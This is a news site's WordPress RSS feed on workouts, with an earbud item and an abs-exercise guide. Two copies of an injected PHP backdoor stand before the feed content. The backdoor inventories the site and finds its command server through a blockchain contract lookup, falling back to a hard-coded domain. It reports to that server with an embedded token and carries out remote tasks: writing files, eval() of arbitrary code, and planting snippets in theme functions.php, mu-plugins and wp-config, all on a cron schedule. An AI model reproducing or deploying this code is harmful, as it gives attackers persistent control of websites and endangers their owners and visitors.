// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); workouts – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 01 Sep 2018 13:29:19 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png workouts – Brief News https://briefnews.eu 32 32 Under Armour’s latest wireless buds stay in your ears during workouts https://briefnews.eu/under-armours-latest-wireless-buds-stay-in-your-ears-during-workouts/ https://briefnews.eu/under-armours-latest-wireless-buds-stay-in-your-ears-during-workouts/#respond Sat, 01 Sep 2018 13:29:19 +0000 http://briefnews.eu/under-armours-latest-wireless-buds-stay-in-your-ears-during-workouts/

Wireless earbuds are wonderful for the gym… when they stay put. And Under Armour and JBL are keenly aware of that — they’ve introduced two sets of Bluetooth earbuds, the over-ear Sport Wireless Pivot (above) and in-ear Sport Wireless React (below), that are designed for stability during workouts. They’re lightweight and IPX7 water-resistant, but the chief allures are tip and hook designs that will keep the buds in place. You won’t be subjected to the gym’s repetitive soundtrack just because a bud fell out mid-burpee.

When you do want to hear the outside world, you can. You can push a button to temporarily lower the music and amplify fellow gym-goers, while an ambient sound feature will keep the music going while boosting external sound to keep you aware of your surroundings during outdoor runs. A solid nine-hour battery life should ensure that you can still listen to music after the workout.

Both the React and Pivot will be available sometime during the hoildays for $ 140 (€149).

UA Sport Wireless React

Source: Under Armour

]]> https://briefnews.eu/under-armours-latest-wireless-buds-stay-in-your-ears-during-workouts/feed/ 0 5 Killer Stomach Workouts for Impressive Abs https://briefnews.eu/5-killer-stomach-workouts-for-impressive-abs/ https://briefnews.eu/5-killer-stomach-workouts-for-impressive-abs/#respond Wed, 29 Aug 2018 17:15:06 +0000 http://briefnews.eu/5-killer-stomach-workouts-for-impressive-abs/ Having a well-chiseled six pack is the ultimate fitness goal for many people. And it’s okay if you want some as well.Having a strong core is of vital importance – not just for aesthetics, but also for improved strength and overall health.But there’s a problem – many people never succeed in carving out the core of their dreams! For some people, the problem lies in their approach to working out, while others have got their feeding wrong. Either way, there’s a remedy and you can commence your journey to an impressive six pack – starting today!In this article, we’ll go over the role nutrition plays in carving out the body of your dreams, as well as non-sexy reasons for having a strong core.I’ll also be sharing some proven stomach workouts and core exercises that’ll help you carve out an impressive ab and then I’ll cap it up by revealing the fool-proof formula for carving out that magazine-worthy core that you desire. So, be sure to stick around to the end, okay?

Why you need rock-solid abs

Believe it or not, there’s actually more to having a strong core than just good looks. Core muscles are required for just about everything we do on daily basis, from sitting, to walking, running and throwing things around.Before we go any further, though, you should probably know that there’s more to core muscles than just the abdominals (abs), it also includes hip and pelvic muscles, as well as mid and lower back muscles. All these muscles work synergistically to support movement and maintain stability. Here are some benefits of having strong core:

1. It helps your posture.

When you engage in core-strengthening exercises, the thorough working of the torso helps to maintain a balanced posture. The posture balance in turn helps to reduce the risk of vertebrae degeneration and disc herniation…in other words, bad conditions for your spinal cord.

2. It reduces back pain.

Having a strong core also helps to alleviate back pain by providing adequate support for the spine. Research has also revealed that having strong core muscles reduces the risk of back injury during workouts.((Journal of Novel Physiotherapies: Effects of Core Strengthening on Cardiovascular Fitness, Flexibility and Strength on Patients with Low Back Pain))

3. It improves athletic performance.

You’re going to have a hard time finding a sport that doesn’t rely heavily on core muscles for effective performance. From running, to rowing, baseball, football and tennis, every sport you could possible think of engages the core in one way or the other.So, if you’re planning to become an athlete, then strengthening your core is absolutely indispensable.

4. It makes life easier on-the-job.

Life will become a whole lot easier for you on the job if you can manage to strengthen your core. And the reason is simple – just about every activity you engage in at work engages your core…from standing to lifting, twisting and even sitting.So, if you’d like to be a bit more comfortable and energetic at work, then strengthening your abs and back muscles would be a great place to start.

Nutritions you need for impressive abs

Alright, before we dive into which exercises you should start focusing on, let’s talk about the most important factor in building an impressive figure – what you eat.If you’re a frequent gym goer, then chances are that you’ve overheard this common saying among gym rats – “abs are made in the kitchen.” Well…they’re not wrong!Doing 1,000 crunches per day won’t give you magazine-worthy six packs if you’ve got your nutrition wrong. Okay, here’s how it works:Ab exercises are aimed at strengthening your core muscles, not revealing them.In other words, you may have a strong core, but until the fat layer above it is torched, it will stay hidden.This is why your first course of action should be weight loss…which begins with a proper diet.((Premium Health Writer: Why Nutrition is Important in Your Weight Loss Program)) Your daily diet should contain the right amount of macronutrients (carbohydrates, protein and fat) and micronutrients (vitamins and minerals).So, in order to save yourself a whole lot of frustration and headache down the line, you need to ditch junk foods and start eating clean foods.

5 Amazing stomach workouts for rock-solid abs

Before diving into the specific workouts that will finally send your abs out of hiding, there are a couple of anatomical jargon you need to be familiar with. These are just fancy names for the muscles that make up the abs and they are:

  • Rectus abdominis (front abs commonly known as six-packs)
  • Internal and external obliques (side abs found around the waist).

Got it? Great! Keep those in mind because I’ll be mentioning them a lot in the coming paragraphs.Now, let’s move on to the actual workouts:

1. Crunches

Regardless of the negative media crunches may have received over the years, one thing is for certain – it works…when done correctly!Crunches are great for eliciting muscle activity in the rectus abdominis and this helps greatly in strengthening those muscles.

How to do the traditional crunch
  • Lie on your back, bend your knees and place your feet closely together and flat on the floor. You may want to hold on to something with your toes to make it easier.
  • Place your hands behind your head (without interlocking them) or place them across your chest.
  • Keep your elbows open to the sides.
  • Gently tighten and pull in your abs.
  • Curl forward lifting your head and shoulder blades off the floor towards your knee.
  • Hold it for a moment and lower back down slowly.

Several variations of the traditional crunch have been developed to focus on other core muscles ignored by regular crunches. One of these is the bicycle crunch or bicycle kicks. The bicycle crunch impacts the external obliques (on the side of the waist) in addition to the rectus abdominis and this helps to work the torso.

How to do the bicycle crunch
  • Lie on your back, bend your knees and place your feet wide apart on the floor.
  • Place your hands behind your head without interlocking them and avoid pulling your head with your hands to avoid neck pain.
  • Lift your right knee off the floor, toward the left side of your chest and simultaneously lift your left elbow to meet your right knee.
  • Repeat this process for the left knee and right elbow and keep up this cycle until your abs are thoroughly worked.
  • Be sure to completely lift your shoulder blades off the floor to keep the action concentrated on your core.

Check out this video for how to do the bicycle crunch:

2. Planks

There’s a good reason why plank has gained so much attention in the fitness industry – it works. Not only does it crush the rectus abdominis, it also greatly impacts the external obliques and transverse abdominis.In simple terms, it rocks your abs in a way regular crunches don’t and also doesn’t give you back pain no matter how long you hold out doing it.Planks aren’t just a great workout for abs, though, it also does a great job strengthening the arms, shoulders and glutes.Just like the crunch, there are several variations of the plank, each adapted to focus on specific muscle groups which may have been ignored by others. Here I’ll be discussing just two of them – the front plank and the side plank.

How to do the front plank

The front plank is the basic plank position and it targets your rectus abdominis. Here’s how to do it.

  • Start in the pushup position with your arms placed as far apart as your shoulders and place your feet together.
  • Rest your weight on your forearms, with your palms facing the ground and maintain a 90-degree angle between your shoulders and fore arm.
  • Raise your hip slightly and maintain a straight line from your head to your feet.
  • Hold the position for as long as you can before your form collapses.
  • Rest for a few minutes and repeat.
  • Aim for 3-5, 30-120 seconds sets per workout and it should get you shaking!
  • If this isn’t challenging enough, raise an arm and a leg to increase the difficulty level.

How to do the side plank

Apart from strengthening the front abs, the side plank also comes with an added advantage of working the external obliques and transverse abdominis, thus helping you to carve out that dreamy physique you’ve always desired in your midsection. Here’s how to do it:

  • Lie on your right side, supporting your body by placing your right forearm on the floor.
  • Place your left leg on the right leg while maintaining this position
  • Lift your hip off the ground maintaining a straight line from your shoulder to your feet.
  • Lift your left arm into the air to maintain balance.
  • Hold this position for as long as you can (one – two minutes is fine).
  • Rest for a few minutes and repeat for the other side.
  • Aim for 3-5 reps per workout.
  • To increase the difficulty level, you can raise the leg on top.

3. Russian twists

The Russian twist is an amazing workout that works just about every muscle in your core as you twist from side to side. The obliques are the more obvious beneficiaries, though, as the side-to-side motion really impacts the torso and helps to carve out an impressive side.And just like the other workouts listed so far, no serious gym equipment is required. All you need is some space on the floor and the will to keep going!

How to do the Russian twist
  • Sit on the ground and bend your knees such that there’s a 90-degree angle between your upper and lower legs.
  • You may place your feet under something immovable or lift them slightly off the floor.
  • Tilt your back towards the ground at an approximate angle of 45-degrees with the ground.
  • Hold your arms straight before you and twist as far as possible to one side before doing the same thing for the other side.
  • To kick things up a notch, hold a mildly heady object in your hands as you twist from side to side.
  • Aim for 10-12 reps on each side, rest and repeat the process 3-5 times.

4. Hanging leg raise or knee raise

This is another exercise that will rev up your core and leave your abs strengthened for days. The most beautiful thing about this workout is its scalability. You can start off with bent knee raises, then you can move on to straight leg raises and ultimately to toe-to-bar raises.

How to do the hanging leg raise or knee raise
  • Grab the pull-up bar, ensuring that your arms are straight and your feet are totally off the ground.
  • Straighten your legs and keep them firmly together all the while.
  • Tighten your abs and use your core to raise your straightened legs forward until they form an angle of 90-degrees with your midsection.
  • Hold this position for a few seconds and slowly return your legs back to their normal position.
  • For the knee raise, bend your knees before raising them to an angle of 90-degrees with your midsection.
  • For either movement, make sure you get your legs up using only your core. Avoid swinging them up with momentum.
  • To make things a bit more challenging, try placing a medicine ball between your ankles or knees.
  • Aim for 3-5 sets in the 10-15 rep range and you midsection should be burning for days to come.

5. Ab-wheel roll-out

